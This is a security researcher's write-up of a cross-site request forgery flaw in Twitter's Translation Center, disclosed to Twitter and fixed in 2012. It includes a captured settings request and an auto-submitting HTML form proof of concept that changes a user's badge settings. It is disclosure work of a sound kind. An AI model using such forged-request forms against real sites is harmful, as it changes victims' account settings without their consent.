Twitter Whitehat Vulnerability for 2012: Translation Center CSRF/XSRF
On 28th September 2012, I found a Cross-Site Request Forgery vulnerability on http://translate.twttr.com which is the Twitter Translation Center
While checking the service I landed up on the Accounts Settings page which looked like this.
So we've two options here, first one toggles the Twitter Badge setting on Twitter.com and second one toggles the badge related notification.
POST request which disables both the settings looks like this:
Host: translate.twttr.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Proxy-Connection: keep-alive Referer: http://translate.twttr.com/user/prakharprasad/settings Cookie: <cookies> Content-Type: application/x-www-form-urlencoded Content-Length: 175 utf8=%E2%9C%93&_method=put& authenticity_token=B6PJGp2Hkm1zi6lVN%2FIueNd7QqlAhIfM5C1pht1MzE8%3D& user%5Bid%5D=809244&user%5Bbadging_exempted%5D=0&user%5Breceive_badge_email%5D=0
Now in the
POST content, parameters of our interest are
authenticity_token which is the CSRF prevention token generated by Twitter,
user[receive_badge_email] toggles the badge related settings,
user[id] is the user id of user, in my case it was
809244 and is static.
So, normally to prevent CSRF on this page authenticity_token needs to be verified on server-side, right ? but this wasn't the situation when I checked it. The server allowed the form to be submitted without even checking the
authenticity_token, which rendered it useless.So we had a CSRF here.
The final Proof-of-Concept code I sent to Twitter Security Team to demonstrate CSRF existence looked like this:
<head> </head> <body onload=document.getElementById('xsrf').submit()> <form id='xsrf' method="post" action="http://translate.twttr.com/user/update"> <input type='hidden' name='user[badging_exempted]' value='0'></input> <input type='hidden' name='user[id]=user[id]' value='809244'></input> <input type='hidden' name='user[receive_badge_email]' value='0'></input> </form> </body> </html>
_jim of Twitter Security Team replied within 1 hour of my initial bug report which said the team is investigating the issue.On 16th October the issue was addressed and then onwards the authenticity_token gets checked on the server-side. Any modification to the token results in an error page.
I'm very thankful to Twitter Team for putting my name along with other white-hats on "Security at Twitter" Page.
Conclusively I would thank _jim who kept me in sync while the issue was investigated and addressed.